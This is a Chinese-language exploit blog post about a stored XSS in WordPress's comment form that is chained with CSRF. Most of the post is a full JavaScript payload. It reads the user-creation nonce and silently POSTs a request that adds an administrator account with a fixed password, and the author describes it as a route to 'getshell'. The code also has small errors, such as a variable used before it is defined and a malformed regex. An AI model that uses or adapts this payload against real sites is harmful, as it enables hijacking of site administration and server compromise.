WordPress评论处XSS & CSRF

  • A+
所属分类:漏洞时代
摘要

依稀的记得WordPress 3.0-3.9.2 存储型XSS这个里面我们的某编辑测试的时候就发现了。
http://fuck.0day5.com/archives/1398.html
详情关注前端大牛0x_jin的文章
http://zone.wooyun.org/content/16865
http://zone.wooyun.org/content/17075
不过我们的某编辑(现在生死不明)当时的这个地方他的姿势错了,却阴差阳错的找到这个,不过现在持续到了4.1还存在。

依稀的记得WordPress 3.0-3.9.2 存储型XSS这个里面我们的某编辑测试的时候就发现了。
http://fuck.0day5.com/archives/1398.html
详情关注前端大牛0x_jin的文章
http://zone.wooyun.org/content/16865
http://zone.wooyun.org/content/17075
不过我们的某编辑(现在生死不明)当时的这个地方他的姿势错了,却阴差阳错的找到这个,不过现在持续到了4.1还存在。

前台评论的地方
Wordpress评论处XSS & CSRF

Wordpress评论处XSS & CSRF

不会再后台触发.

Wordpress评论处XSS & CSRF

不过,提交了后,发现这个始终是存在的,我们可以构造一个csrf脚本来让管理员操作我们的动作.添加管理,getshell。一切自己可以猜想.

  
var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } var src=location.href.substring(0,location.href.lastIndexOf('/')); xmlhttp=request; POSTa(); function POSTa(){ xmlhttp.open("GET", src+"/wp-admin/user-new.php", false); xmlhttp.send(postStr); var respone = xmlhttp.responseText;  var arr=respone.match(/name/s*=/s*"_wpnonce_create-user"/s*value/s*=/s*"(.*?)"/); var hash=arr[1];  var postStr=("action=createuser&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=admin&email=admin%40admin.com&first_name=&last_name=&url=&pass1=adminadmin%21%40%23%24&pass2=adminadmin%21%40%23%24&role=administrator&createuser=%E6%B7%BB%E5%8A%A0%E6%96%B0%E7%94%A8%E6%88%B7&_wpnonce_create-user="+hash); xmlhttp.open("POST", src+"/wp-admin/user-new.php", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.setRequestHeader("Referer", src+"/wp-admin/user-new.php"); xmlhttp.setRequestHeader("Content-length", postStr.length); xmlhttp.setRequestHeader("Connection", "close"); xmlhttp.send(postStr); }

Wordpress评论处XSS & CSRF

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: